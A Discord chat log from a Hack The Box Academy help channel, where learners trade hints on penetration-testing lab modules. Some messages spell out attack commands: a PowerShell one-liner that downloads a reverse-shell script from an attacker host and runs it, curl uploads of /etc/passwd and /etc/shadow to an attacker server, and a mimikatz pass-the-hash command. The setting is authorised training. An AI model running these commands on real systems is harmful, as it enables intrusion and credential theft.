modules

[shell ore]

u can use aliases

for commands

[next bronze]

I have a bash script in tmux which write common commands for me

[little talon]

In the module attacking enterprise network
For the task "Using SSRF to read local file to find the flag"

I am able to inject xss and read the /etc/passwd but not able to find or read the flag
I tried reading the /var/www/html/flag.txt but it seems the filepath is not right or file is not there

Any hints ??

[sick whale]

What I mean is, for example:

You're using xfreerdp all the time, which takes : IP, username, password.
Either I need $IP, $user and $pass set and then I can use:
xfreerdp /v:$IP /u:$user /p:$pass

or, when I ctrl + r to get my last used xfreerdp command, I need to replace all 3 arguments, which feels very slooooow and counterproductive each time haha

[shell ore]

u can use arsenal ig it might suites u (but not sure it has ALL commands it has a lot of commonly used ones) and i beleive u can add custome ones

its on github, check it

[sick whale]

In any other env, I would selec the argument and start typing over basically

[sick whale]

Thanks, will have a look!

[shell ore]

that looks really interesting

[next bronze]

yeah because of tmux it sits on top of the terminals so the output will get sent to whatever shell is active

[shell ore]

so is it like a plugin from tmux to add scripts or what? im still confused on how u made it work lol

[worn matrix]

Submit the Administrator's flag from C:\Users\Administrator\Desktop ,to do this i have to import a ps module,but i can't really import modules through my terminal.This is on module Citrix Breakout

[sick whale]

That is neat indeed

[next bronze]

bind-key -n M-p command-prompt -p "PowerScript:" "run-shell 'bash /pt/tmux-PowerScript.sh %%'" in .tmux.conf
alt + p brings up the input and I just type whatever I want the script to do

[next bronze]

why not

[worn matrix]

it is saying that import modules is disabled

[shell ore]

i genuinely didnt know u can do that in tmux, thx for sharing that, much more cool stuff can be done now

[next bronze]

you can enable it, I believe it's shown in that section

[worn matrix]

it is telling about UAC bypass,not how to import the module,mayube i am doing something wrong,dont know

[next bronze]

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4

also something similar is used where you were looking at

[sick whale]

Damn now wondering whether I should swap from Terminator (which I only use to easily have 6 terms on the screen) to tmux (more of a learning curve but more possibilities for sure...)

[next bronze]

Terminator can also run shell, but not sure if it can send keys

[worn matrix]

thanks!!

[worn matrix]

i think i did it,but with a no good way.I just runned the powershell for the file explorer,with calling the function at the last line.It worked,but i think i am missing the point of the section

nvm i found the solution,thanks

[limpid hemlock]

Hey in the skill assesment 2 of attacking common apps is it possible to get a shell using a metasploit module for the vulnerable application??

[stark cliff]

i need help for this question....

Q5: User4 has a lot of files and folders in their Documents folder. The flag can be found within one of them.

Module -> Introduction to Windows Command Line
Section -> Skills Assessment

This is the Hint: We want to see a full listing of the files within the hive, and then read the contents of each file. How can we see through this tree?

[next bronze]

either recursively print out the content of all the files, or list files with size that's not 0

[stark cliff]

can you give me the command

[next bronze]

no

[sick whale]

That wouldn't help you if he did

Going through data in command line and extracting what you're looking for is a really useful skill

You know what the flag looks like, and you likely know both a function to print a file, and a function to look for a string in a file

[stark cliff]

Ok

[next bronze]

I mean, just google

https://powershellfaqs.com/powershell-foreach-file-in-folder/

[vital lance]

Hey, what is the cheapest way to get Senior Penetration Tester path ?

[quiet trout]

if its in the silver plan you could try the give-aways or winning at trivia night which should be either this friday or next friday

or a edu discount

[vital lance]

what is edu discount ?

[quiet trout]

its if you are enrolled in school

[vital lance]

If you talking about stundent plan I think it is not cover tier3

[acoustic owl]

The cheapest option is probably a Platinum monthly subscription. This gives you 1000 cubes per month to unlock the modules.

[random light]

Hello
I have a question about this task
"Using Julio's hash, perform a Pass the Hash attack to connect to the shared folder \DC01\julio and read the file julio.txt."
Passwords attacks
section PasstheHash
when autorizing with this hashes witch command:
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:<julio hash> /domain:inlanefreight.htb /run:cmd.exe" exit
i get user ms01/administrator and i have acces do \DC01\julio
and doing the same with david i also get user ms01/administrator but now i have acces to \DC01\david
i am a little lost here

[vital lance]

Ty

[acoustic owl]

However, you will not have an exam voucher or walkthroughs in the modules. The best option is therefore probably the annual Gold subscription

[next bronze]

whats wrong with it? you're able to access the shares of the respective users after pth

[random light]

i get the answers for tasks
but iam trying to understand why it is this way

[next bronze]

what way? you passed the hash and can access theirs shares, that's expected

[random light]

yes but in both cases i have the same user sa iam a little lost why i get same user using diffrent hashes

[next bronze]

what's the same user and how did you see it

[random light]

after using mimikatz.exe i get new cmd
and i used whoami

and in both cases it says ms01/administrator

[next bronze]

ah should've said that to being with

[autumn pilot]

There was a parameter to reflect the context of the user in the newly spawned terminal

[random light]

i litteraly said that in my first message😅

[next bronze]

pth with mimikatz replaces the creds stored in memory directly, the system doesn't know that it's been changed when you run whoami

[next bronze]

you didn't say how you got the user

[random light]

ok

so for 'whoami' i still have ms01/administrator, but it got changed in memory and in reality i got respectively david and julio
yes?

[quiet trout]

not sure, cd %HOMEPATH% and see what you get.

err... or %userprofile% as a sanity check.

[next bronze]

none of those will work

[next bronze]

yes

[random light]

understandable thanks

[next bronze]

if you want to have a normal user shell, you can pth with rdp or winrm

[quiet trout]

ah i didnt see the above, just checking in.

[radiant cedar]

hi fellas, has someone done this module, if yes can he/she share some insights please.

https://academy.hackthebox.com/module/details/267

[dim wolf]

please write the module name so people can answer more easily

[radiant cedar]

MSSQL, Exchange, and SCCM Attacks

[wild sage]

Still need help with Command Injection skill assessment. I've been throwing injection methods and filters at it for hours to no avail

[safe star]

Did you find the parameter?

You will know if you get an error

[wild sage]

no, if your talking about putting input into the URL, I haven't found it

Even tried the Advanced Search feature and nothing

[safe star]

Have you tried all functionality like copying,moving,etc

[wild sage]

can I dm you, I think I understand what your saying

[safe star]

Yes

[wanton jasper]

I just finished that assessment. Did it without having to move the file. I was able to just cat it

[thick marlin]

hello

[storm elk]

Hi

[thick marlin]

soooo how is ur day

[storm elk]

Good, thanks. Yourself? This isn’t the channel for general chat though. If you want to chat, please verify your account via the instructions in #welcome

[thick marlin]

ok

[thick marlin]

my day is good

[storm elk]

Glad to hear and welcome 🙏

[pine dune]

Hi guys, do u know an easy way to connect to winrm using linux?

[storm elk]

Evil winrm?

[pine dune]

is there a difference?

okay whats the difference between winrm and evilwin rm 😅

I managed to connect using evil win rm

thank u

[hexed lintel]

winrm is protocol for remote management
evil-winrm is tool

[strange pivot]

powershell remoting 😄

[pine dune]

ty guys

hi why isnt this working?

[strange pivot]

what share are you trying to connect to?

or are you trying to list all the shares?

[pine dune]

are there default shares I could connect to? It didnt really give me much info on connecting to a share...it just said crack the password and connect to it

[strange pivot]

Right so list the share first with smbclient -N -L \\\\10.129.42.253

[sick whale]

you can list shares and see the rights you have on them either with a null auth or with user/pwd

[pine dune]

okay thank you ill do that

[strange pivot]

Then connect to a share with smbclient \\\\10.129.42.253\\users

[pine dune]

okay thanks, ill try that now

[strange pivot]

You can also see, what read/write permissions you have with smbmap -H 10.129.14.128 - make sure you write all this down in a command cheat sheet in obsidian, then you can always come back to it when you need it

[pine dune]

thank you and yeah Ill write it down...I managed to get the share by the way

[sick whale]

This! Anytime you encounter a new way to do something, write it down, and as much as possible, organize it by categories (really hard to stay on top of it)

[pine dune]

thank u yea..I was sure I had smb written down somewhere before but apparently not...so ill write it down again

how do i list files in smb?

its giving me "NT_STATUS_ACCESS_DENIED
" for when i try ls or cd to home

[wild sage]

@safe star Thank you for pointing me in the right direction, I was able to figure it out and get the flag

[sick whale]

It says "try help to get a list of possible commands"

Have you tried that ?

[pine dune]

yeah I tried "L" and it was still same issue

or l

[sick whale]

what do you mean? What does "help" give you?

Also, do you have read rights on the share?

[pine dune]

it gave me a list of commands I could use and how do I check if i have read rights?

waitttt

I think I was using ssh this whole time 😂

damn

[sick whale]

In the steps that Sepulchre gave you before

[pine dune]

its for ssh

[tired berry]

Does anyone know how to find the hidden admin directory from "Information Gathering - Web Edition" skills assessment? I've tried a lot of wordlists with gobuster and dirbuster and I only get the index.html page 😦

[sick whale]

delete this it's a spoiler

[pine dune]

sorry

[sick whale]

No worries, happens :p

[sick whale]

you used directories wordlists ?

[tired berry]

Yes

[safe star]

For the future, u need enum4linux or rpcclient to utilize that share btw

[pine dune]

for IPC? okay ill keep in mind thank u

[sick whale]

Another note 😄

[safe star]

have u looked for vhosts

[old oasis]

DM me if you need a nudge

[tired berry]

I'm doing a scan right now

[safe star]

use the 11000.txt list they used in the examples

did it finish?

[tired berry]

Almost

[old oasis]

guys don't post spoilers

[tired berry]

Aha, ok I got something at the end of the scan, hope I can leverage it, thanks

[tired berry]

Thanks man, got it

[cunning frigate]

I will also pass the favor from AcroTiger and help with Windows Lateral Movement and Using CrackMapExec modules since it can be quite tricky to do both of them. Feel free to ping me. Hope this also creates an action of helping back for others aswell

[muted pulsar]

I was stuck on this too.

Before you run that SystemProperitesAdvanced.exe command, you need to sign out of the target and sign back in. Then set up the shell and re run it, the command shell will be elevated.

[digital crown]

Thanks!

[strange forge]

does mimikatz does not run on evil-winrm session?

[iron lintel]

Why is there is a big difference in cubes, between penetration tester path and web pentrsting (7500)

[shut quest]

Don't use the mimi session, instead use it as a one liner while using evil-winrm.

[shut quest]

One is for an intermediate cert path, the other is an advanced cert path. The advanced cert paths are all tier 3 modules, where the other is only up to tier 2.

[obtuse hawk]

I am working on the nibbles machine in module 77 section 852: I have a reverse shell on the target but if i pass any commands at all, the cursor drops down a line and nothing happens. I'm copying and pasting the commands from the module into my terminal. Would anybody know why my commands wont execute?

[safe star]

need to see what the commands look like

[obtuse hawk]

python3 -c 'import pty; pty.spawn("/bin/bash")'
this is what i am trying to run after achieving the reverse shell

[safe star]

are you able to run anything before trying that?

[obtuse hawk]

No, even trying ls fails

[safe star]

what are you doing this on?

pwnbox?

[obtuse hawk]

yeah, pwnbox

[shut quest]

reset ?

[obtuse hawk]

https://academy.hackthebox.com/module/77/section/852

I reset the target but not the pwnbox

[shut quest]

No run the command reset

[obtuse hawk]

that yielded the same results

[safe star]

must be the reverse shell command then

[obtuse hawk]

okay let me double check that

that worked. I must have made a typo when I was using vim. Thanks for the help!

[rocky estuary]

Retrieve the TGS ticket for the SAPService account. Crack the ticket offline and submit the password as your answer. i'm trying to use getuserspn.py but with user forend but its asking for password i tried to use old password from previous section but that didn't work and i tried to use -no-pass option and this didn't work also

[safe star]

what does ur command look like

worked fine for me

[rocky estuary]

python3 /usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

i tried to use the user sqldev and that seems to work but no sure if this is the right approach

[safe star]

i just used the k*** password

thats works too tho

[rocky estuary]

for some reason its not working for me but i used sqldev and that worked

[autumn dew]

****Use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator's desktop and submit the contents as the answer. ****

[cloud urchin]

You're using your NIC instead of the VPN's IP

set lhsot to tun0

you're connected to the vpn, right?

[autumn dew]

yes

[severe arrow]

Anyone wanna lmk if there is gonna be an exploit dev cert by HTB?

[autumn dew]

@cloud urchinyup its work what the next

[mint sand]

I have finished the web fuzzing module and have just come to the skills assessment part. However, I can’t find the instructions. The only thing I see in the questions section is : "After completing all steps in the assessment, you will be presented with a page that contains a flag in the format of HTB{…}. What is that flag? " I don’t see any other questions on the screen. (check screenshot) I can see from similar threads that people are talking about finding subdomains and stuff like that but I don’t see any questions regarding that. One note is I am not using the pwnbox just replicating it on my local kali linux.

[sick whale]

get the flag?

[autumn dew]

yup

[sick whale]

Were you asking what's next or did you get the flag?

[vivid sigil]

if my sub ends can i use the modules who i have solved ti used it without sub ?

[cloud urchin]

nice job. type ip a to see your adapters and you can see you set your listening host to your VPN IP

[autumn dew]

thx bro i do it

[strange forge]

AD Enumeration & Attacks - Skills Assessment Part I. unable to crack the hash. used rockyou with hashcat. hash seems to be of multiple mode

[safe star]

wym multiple mode

[strange forge]

The following 11 hash-modes match the structure of your input hash:

  # | Name                                                       | Category

======+============================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
70 | md5(utf16le($pass)) | Raw Hash
2600 | md5(md5($pass)) | Raw Hash salted and/or iterated
3500 | md5(md5(md5($pass))) | Raw Hash salted and/or iterated
4400 | md5(sha1($pass)) | Raw Hash salted and/or iterated
20900 | md5(sha1($pass).md5($pass).sha1($pass)) | Raw Hash salted and/or iterated
4300 | md5(strtoupper(md5($pass))) | Raw Hash salted and/or iterated
1000 | NTLM | Operating System
9900 | Radmin2 | Operating System
8600 | Lotus Notes/Domino 5 | Enterprise Application Software (EAS)

[safe star]

it would most likely be an ntlm hash since youre dealing with AD

[strange forge]

yeah but unable to crack.

[safe star]

dm me the hash

i personally use hashes.com to identify them, and sometimes crack if its an easy password

[strange forge]

check

[strange forge]

i use crackstation but neither of them showing anything

[safe star]

if you cant crack the hash maybe its not meant to be cracked

[strange forge]

the question is there.

[safe star]

it should be cleartext

[strange forge]

ohh i must be looking at wrong place

[safe star]

remove any spaces

thats the wrong domain too

[cloud urchin]

you should delete the pics they aren't needed and you are spoiling

[safe star]

@shy cave use the .htb domain not .com

[shy cave]

But "inlinefreight.htb" does not work. .com domain works here.

Even when using the subbrute tool

[safe star]

did you use dig with the target as the name server?

[shut quest]

Yes BUT what is the question asking for? com or htb?

[safe star]

its asking for htb

[shy cave]

No but how can we do that?

[shut quest]

Ssssh

[safe star]

rhetorical

[shut quest]

Review the DNS section on the footprinting module and take notes

[shy cave]

Ok thank you

[rocky estuary]

guys i'm trying to run Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid} and it takes for ever is this normal ?

[safe star]

Yeah, but for some reason it only appeared sometimes when I used ctrl+c to get out

Unless I’m thinking of the wrong command

[hallow karma]

Hi everyone, I'm new in this.
And I stuck with a flag by Linux Fundamentals
-Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.-

I try with this commands but I couldn't resolve it
curl https://www.inlanefreight.com | grep "https://.{0,3}.inlanefreight.com[^'"]" | sort -u | wc -l
curl -s https://www.inlanefreight.com | grep -o 'https://www.inlanefreight.com[^"]' | sort -u | wc -l
curl https://www.inlanefreight.com | grep "inlanefreight.com[^']*" | sort -u | wc -l
grep https://www.inlanefreight.com | tr “ “ “\n” | sort -u | grep -E ‘src|href’ | sort -u | wc -l

Could you help me to see what I'm doing wrong?
Thanks in advanced.

[rocky estuary]

yeah it happened to me also i was waiting for like 10 mins

i'm stuck at "What is the ObjectAceType of the first right that the forend user has over the GPO Management group? " i tried to name the $sid to GPO management and enum on it but that didn't work and also tried to use get-domaingroup and find the guid and use it also that didn't it keep throwing error saying bad enumeration

[proper oar]

Rather confused on the lateral movement section of the MSSQL Server module:
impersonated 'sa' and am executing cmds through xp_cmdshell through the link to SQL02. Did people try to pull a shell through here to read the flag? I dropped a 1-liner, checked IP and ports, hosted listener and http server and can't seem to pull the rev shell through in any reasonable way. I also tried encoding the rev shell file and calling that directly in xp_cmdshell through the link, but it is too long to run in SSMS. Is there a simpler direction..?

[next bronze]

iex iwr a revshell script

or you can download a binary and run it

[proper oar]

anything wrong with this ?

[next bronze]

https://tenor.com/view/ken-jeong-community-too-small-to-read-read-reading-gif-5494204

powershell IEX(IWR http://<ip>:<port>/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <ip> <port>

something like that

[proper oar]

for some reason I'm still getting unable to connect despite an http server being active.

[hollow furnace]

strange question but, should I be able to connect to the htb academy boxes even if im not connected to vpn? Im doing the LFI module

[shell ore]

yes normal

[limber river]

some of them are running in docker and exposed to the internet , some of them you need vpn

[shell ore]

some modules doesnt spawn a machine on the network, but spawn a public docker containers

[hollow furnace]

Ok thanks guys

[shell ore]

u can recognize it from the IP:PORT syntax, and not just an IP that is 10.129.xx.xx

[hollow furnace]

Yeah I did notice it didnt conform with the other IP's. Thanks

[signal agate]

I was working on HTB : Forest, trying out bloodhound with sharphound both as of a latest version but cannot upload the sharphound zip in the blood hound, upon further analysis i found out that the problem is in the incompatibility,

Which version of sharphound is compatible with latest Bloodhound 4.3.1??

[rustic sage]

hey guys currently on the cpts academy "Passwd, Shadow & Opasswd" currently struggling is any one cool to help ?

[shell ore]

what module? 😅

[rustic sage]

Password Attacks

[shell ore]

ok so whats the problem ur facing?

[rustic sage]

hol on ..

so i tried to curl -X POST https://MY-IP/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure on the target yet i got curl: (26) Failed to open/read local data from file/application kira@nix01:/home/will/.backups

i hope it makes sense

i tried getting the shadow.bak on the .backups dir still doesent work i tried it all

[next bronze]

you're trying to upload the actual passwd and shadow file, not the backups

[rustic sage]

wait sorry i forgot to be more detailed i meant that the shadow.bak was in the .backups dir

[next bronze]

yes but that's not what your command did

[rustic sage]

yeah specifically i did curl -X POST https://my-ip/upload 'files=@/.backups/shadow' --insecure on the taget

[limber river]

-F ?

[next bronze]

/.backups/shadow

how does linkux file paths work

[limber river]

yeah that will take him to /

use the full path

or curl -X POST https://my-ip/upload -F 'files=/home/will/.backups/shadow' --insecure

[rustic sage]

yeah smh it gave me bad req ..

<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: No files selected.</p>
<p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
</body>
</html>

[next bronze]

No files selected

[limber river]

make sure the permission and the path of file are correct

[rustic sage]

brah ..

i was in /.backups/shadow.bak' dir

[limber river]

/.backups is not the right path

[rustic sage]

yeah but thats where the shadow.bak file is located

[limber river]

nah it's not

use the full path

[rustic sage]

kira@nix01:/home/will/.backups$ ls -la
total 16
drwxrwxr-x 2 will will 4096 Feb 9 2022 .
drwxr-xr-x 3 will will 4096 Feb 9 2022 ..
-rw-r--r-- 1 will will 2619 Feb 9 2022 passwd.bak
-rw-r----- 1 will will 1724 Feb 9 2022 shadow.bak
kira@nix01:/home/will/.backups$

[next bronze]

ok but its it in /.backups or /home/will/.backup?

[rustic sage]

/home/will/.backups

[limber river]

dude /home/will/.backup and /.backups are not the same thing

[rustic sage]

yeah i know i js wish i could drop a screen shot here

[limber river]

#welcome

[proper oar]

Does anyone see anything wrong here? MSSQL Lateral Movement section - can't pull the shell through. Tested without the MSSQL link and I can do it just fine, but through the link as 'sa' the base64 encoded command exceeds the char limit

[next bronze]

unable to connect to the remote server

[proper oar]

yes but I don't understand what the issue exactly is regarding that, can execute commands on SQL02, just can't pull a shell. I also tried various ports in case it was firewalled 🤷‍♂️

[next bronze]

works for me

[proper oar]

isn't this only from ||SQL01 to kali?|| Trying to do it through the Link to SQL02

[next bronze]

then you need to pivot

[proper oar]

Is this the intended route?

[next bronze]

if you want a revshell

[proper oar]

The question prompt just states to use the techniques in the section to print the flag 🤷‍♂️ and the techniques are executing cmds across sql links. I guess a shell is not necessarily needed

[clear robin]

I love how I can't complete the htb introduction because I can't start a new instance because I terminated it

[next bronze]

yeah if you just want to get the flag a proper shell is not needed, but if you wanna run things like potato you'd probably need one

[proper oar]

I settled for the flag for now 🙂 got it, thanks for the ConPtyShell tip though that's a useful one

[spring lily]

Can anyone give me a nudge on the Abusing HTTP Misconfigurations hard skills assessment?

Having trouble having admin user to trigger the XSS
Edit:
ok I solved this challenge. For people who might run into the same problem, I needed to NOT include "withCredentials" in my payload.

[tacit bay]

can I DM?

[quiet trout]

can you link the section? i might have done this one

[spring lily]

https://academy.hackthebox.com/module/189/section/2025

[quiet trout]

ah, no i havent done that one, thought it was a diff one.

sorry fren, @spring lily

[spring lily]

all g mate

[strange forge]

AD Enumeration & Attacks - Skills Assessment Part I. any hints for getting to dc. iam able to get Ad********* hash , sv***** creds, and t***** hash. Ad******* is unable to access dc using evil-winrm

[next bronze]

did you get the answer for the second last question

[strange forge]

iam stuck on 3rd last question. unable to get t***** pass. only have hash for it

[next bronze]

dump things in the host you have admin on

[lilac elbow]

hello

[quiet trout]

Anyone done the Windows Event Logs & Finding Evil module?

https://academy.hackthebox.com/module/216/section/2303

Im wondering how this can be of any real use beyond very basic understanding of the cmds/tools (specifically the cmd line stuff) due to the verbosity of each tool, and the differing syntax of each... should you just learn what you can and move on? im having trouble finding the major need to learn some of this stuff as compared to like Sysmon, ElasticSearch/Kibana, and some of the other (seemingly?) more useful stuff in the SOC path

[strange forge]

i dumped and got the hash of t***** user. as well as s***** user creds. through which i got A******** hash too. Am i missing something?

[tender nimbus]

Hey guys can you tell me why on my first scan i didn't saw the open ports 8081 and 8888 but well the 2181 and on the second scan i saw the 8081, 8888 port but not the 2181?

[next bronze]

not sure who the A user is but yes, dump things and you'll find the cleartext cred

[shut quest]

Your fast scan is using syn stealth and only the top 100 ports. Your all ports is using tcp connect. Refer to the map documentation as your answers are there.

[strange forge]

Administrator

[next bronze]

ah that's just the local account

[sweet patrol]

This isn't a specific module, but I am trying to figure out how to get a file in exploits.

I am on meterpreter, and I have the exploit found in another tab. I basically just want to cp the .txt to a directory so I can upload

But its not as simple as cp /my exploit /home

[sick whale]

Where is the exploit? Web page or a program on your machine, or remote?

[static timber]

in shells and payloads in The Live Engagement task, how are we supposed to get the creds for the apache tomcat manager page without using the hint?

[tender nimbus]

I don't think that its the problem just tried with -sS and -sT and there i see the 8000 ports but not the 2181 port and all those port are in the most used ports file of nmap but when i do a -p- then i can see the 2181 but not the 8000 ports also if the default scan is in SYN (stealth) scan (when using -p- its also SYN

[shut quest]

Syn stealth requires sudo

[sweet patrol]

Nvm that was lazy. It was in the /opt/exploits-database, thank you though

[sick whale]

Haha no worries

[tender nimbus]

how is that possiblee syn stealth is deault scan no when you don't select another one? Like if i do nmap -sC -sV <tarrget> it use syn stealth as default or im i wrong? Just saw it on the documentaton i think. I mean if i don't set tg-he -sS option then i don't need to use sudo its just default?

[shut quest]

SYN scan may be requested by passing the -sS option to Nmap. It requires raw-packet privileges, and is the default TCP scan when they are available. So when running Nmap as root or Administrator,

[sacred jacinth]

check the foothold desktop

[sweet patrol]

It's an informal test thing I am doing, where things aren't doing what they are supposed to. For instance, I can't actually run the script I uploaded because ./ isn't working. 😦

[tender nimbus]

yeah just saw it my bad but i'm still with the problem why with -sS and -sT i see the 8000 + ports but not the 2181 (knowing its in the top 1000 default port scanning file) but when i do a -O it just show the 2181 and not the 8000+ ports haha but give me a sec im trying a new -O scan to see what the result will be maybe it was just bad timing or something

[static timber]

thanks

[sweet patrol]

So now I have to find a way to get a privesc script running on a crontab, when ./ won't run it.

[sick whale]

Can you be more explicit with "./" won't run it?

Did you give it exec rights?

[sweet patrol]

Yep it was a 777

But the actual .sh won't run

[sick whale]

What's the language of the script ?

bash ?

[sweet patrol]

Yep

[sick whale]

What's the console shell ?

[sweet patrol]

Linux? I'm in meterpreter.

[sick whale]

Try looking at the shebang and then run it as "sh <script.sh>" or "bash <script.sh>"

[sweet patrol]

It is /bin/sh

[sick whale]

Aaah, any chance you can try outside meterpreter? Drop a shell from it?

[sweet patrol]

Oh I'm in one of those gross like, non shell things

Like init 2 where I get 0 feedback

[sick whale]

Now can you upgrade to a better shell?
python3 -c 'import pty; pty.spawn("/bin/bash")'

[shut quest]

Also -F is top 100 not 1,000

[sweet patrol]

Okay I can maneuver a bit, but there was a syntax error, of an unexpected "("

I'm so done lmao

[sick whale]

In your script?

[sweet patrol]

Yes lmao

[sick whale]

Time to read some code :p

[sweet patrol]

-.-

[sick whale]

Also, if it's a bash script, it might be easier to look at what it does and just run the steps

Since that's anyway what the console will do

[sweet patrol]

Yeah I'll try copy/paste from another terminal maybe

[sick whale]

(as well as give you a thorough understanding of the exploit)

[sweet patrol]

Fair point

[tender nimbus]

again you rigt but the -p- just gave me the 2181 and not the other but im gonna forget about it haah the scan is tanking to much time

[sick whale]

Good luck @sweet patrol I'm logging out!

[shut quest]

Again that's the difference between running a tcp connect vs syn stealth. sudo nmap -p- will give you both sets of ports. There's other things you can do to speed up your scan like not checking for DNS or using faster timeouts.

[random light]

Hello
I have a problem with Passwords atatcks module section Pass the Ticket (PtT) from Linux
Command from module just dont work in machine

[next bronze]

is that the right keytab to use

[random light]

How can i specyfi keytab in this case?
in module it wash straight, command and results

[next bronze]

set the KRB5CCNAME env variable

[tacit bay]

anyone free for a nudge on the last question of DACL Attacks II skills assessment?

[next bronze]

sure

[worn matrix]

hello guys,privsec windows,i am stuck really in this question 'Find the password for the ldapadmin account somewhere on the system. '

Any hint?i really dont know what and where to search,i can't find in files

[pseudo kiln]

anyone has any idea why enum4linux and enum4linux-ng show different results ? Like enum4linux show things enum4linux-ng does not, and enum4linux-ng shows things enum4linux does not show

[pseudo kiln]

use the password hunting techqniues they showed you and pay attention to any interesting files

[safe star]

like what

[pseudo kiln]

enum4linux regular one finds all local users, for example enum4linux-ng does not

[safe star]

not sure, they are a little different tho, maybe its the RID recycle feature

[pseudo kiln]

yeah the rid rycle thing seems to find the additional users on enum4linux

[safe star]

dont know what the flag is on ng but I think it has one

[pseudo kiln]

found it
-R [BULK_SIZE] Enumerate users via RID cycling. Optionally, specifies lookup request size.

thanks, much appreciated

[random light]

Passwords atatcks module section Pass the Ticket (PtT) from Linux
How can i transfer ccache file from Linux01 to my attack host when onli connection to it i have is via port forwarding
i have to transer file to windows host and from there to my host or is it better solution
also seems to cut my forwardec SSHconnection whet i enter RDP

[worn matrix]

i really cant find it...i dont know what to do really

[pseudo kiln]

hmmm let me check what I did on that question

it's hard to give a nudge without giving too much info on this one

[slate axle]

how can i solve the problem if the targes doesn't support pass auth

?

[pseudo kiln]

basically think about ||all the tools they showed you that hunt passwords automatically, tools which show many results especially for elevated users||

[next bronze]

iirc you don't have to transfer anything, you can just do it in the remote host

[safe star]

is it port 22?

[slate axle]

yeah

[slate axle]

the password isn't supported at all so...

[next bronze]

is it supposed to be? what's the target that you're given

[pseudo kiln]

if you read the chat above, i'm not answering to you lol

[random light]

WEX101@htb feels like talking about my local host

[slate axle]

LOL nvm

[safe star]

you sure?

[random light]

This also strongly suggest transfering😅

[next bronze]

yes that module is before password attacks in the path

[slate axle]

come on.

[safe star]

what section

[slate axle]

i solve it

but in the question it says ssh

so i thought directly about 22

[safe star]

those ips usually want you to use one port

[random light]

Yes and i did that one
but still dont understand how schould i do thins without transfering stuff

[slate axle]

matter of fact i tried it b4 but the ip wasn't spawned so i thought it's because of the port

[next bronze]

then try to transfer stuff

[slate axle]

anyway thanks a lot for helping me

[random light]

so we get back to my first question how to transfer stuff to my host from host i have acces to only via port forwarded SSH

[next bronze]

you can just transfer it to that linux host

or reverse port forwarding but that is in a later module

[random light]

i need to get it from that linux host to my host

[next bronze]

you don't

use that ticket in the linux host

[random light]

how
i just to green i dont understand what you mean
onyl i know is secion want me to export it to env on my local host
so in my mind i need to transfer it to my host

[next bronze]

you can run the same command in the linux host

if it's just a ccache file it doesn't matter where you're using it from

[strange forge]

Ad enumeration and attack skill assessment 1. Iam not able to get user tp**** clear text pass. All i got is the hash. And its not cracking. I dumped sam of both web01 and ms01 machines and still cant find clear text pass

[next bronze]

you won't be able to crack the hash. there's another registry hive you should check other than sam

[shut quest]

*in addition to, as you need both

[worn matrix]

ok i ll check it again 😦

i rage quit the box 🤣

[random light]

Ok
related but diffrent
why when i rdp to the host 10.129.120.251
it seems to cut the port forwarding ssh conection on 10.129.120.251:2222

[next bronze]

I don't know tbh, ssh port forwarding is pretty stable

[random light]

ok can you give me some more info or steps to do
module say to transfer it but doesn't say how
you say i don't have to
i am really lost and like 5h deep in this particular section feeling like lost child

[safe star]

you can come back to that later, i didnt know about pivoting or port fowarding back then and skipped it

its optional for a reason

[random light]

I thought i need this to answer this

[next bronze]

you don't have to transfer to your own kali host, but you need to transfer it to the linux host that you ssh into

there's no reverse port forwarding needed, just a direct transfer

[random light]

ok so where can i get LINUX01$ Kerberos ticket

[strange forge]

checked all security, system and sam. ntds.dit need dc access (that i dont have)

[next bronze]

you've missed it then, check again on ms01

[next bronze]

... you'll have to find it, that's part of the question

[random light]

ok
so everything from this port forwarding stuff is related to bonus questions?

[normal sand]

Module: Linux Privilege Escalation
Section: Linux Local Privilege Escalation - Skills Assessment
Link to section: https://academy.hackthebox.com/module/51/section/480

I managed to solve all the questions. I'm actually trying to find a way to obtain a shell on the box without the credentials provided, as they mentioned there is a way. I've had little to no luck, so if someone's been able to do this, can you please DM me? (Just need a nudge in the right direction)

[next bronze]

check open ports

[random light]

After long i dont know how i menage to did it
thx @next bronze for your help and patience

[normal sand]

Thanks for the nudge. I thought it'd be a web vector so I've been trying different web attacks 😂

[next bronze]

think dumber

[normal sand]

This always seems to be the answer. Gotta always remember to KISS I guess 😂

[dark leaf]

Hi

[royal python]

Why i dont have permission to talk on the other topics?

[dark leaf]

I have a problem
Who can help me

[old oasis]

#welcome

[storm elk]

With what

[dark leaf]

Are there cyber security specialists in this group?

[storm elk]

What do you need help with

[dark leaf]

I want to learn but I don't know where to start. Can you help?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[dark leaf]

Do I have to enter the link?

[storm elk]

If you wish to learn, yes

[dark leaf]

Is it safe?

[storm elk]

Yes

You can also google it

[dark leaf]

Ok thank you bro

[old oasis]

he is a mod, yes it's safe 🙂

[dark leaf]

Is there an Arab person here?

[acoustic owl]

There are people here from all over the world

[dark leaf]

I'm not good at English and I'm new here

[uneven dune]

Hello guys i have a question, right now i doing the academy module of ffuf, and i have a question about speed responses for requests over DNS, currently i can use ffuf over DNS and goes fastly, but i am looking to my friend screen and i see the same command but with a slow responses with the same DNS ffuf command, so i am not sure but i think can be the openvpn connection, can be some openvpnv configuration more fastly than others ?, we are currently in the same country

he only have that issue with the DNS ffuf, if he use vhos fuzzing works propertly fast

[normal sand]

Is there a fast reliable way to perform a full port scan with nmap? I don't want to increase the min packet rate cuz afraid of packet loss and missing the port or using the -T flag. Or is that just the trade off for performing the scan faster? Full port scans always take a lot of time.

[dark leaf]

Who can help me? I want a free virtual phone number.

[next bronze]

T4 is generally fine and I have ~200 ping to the targets

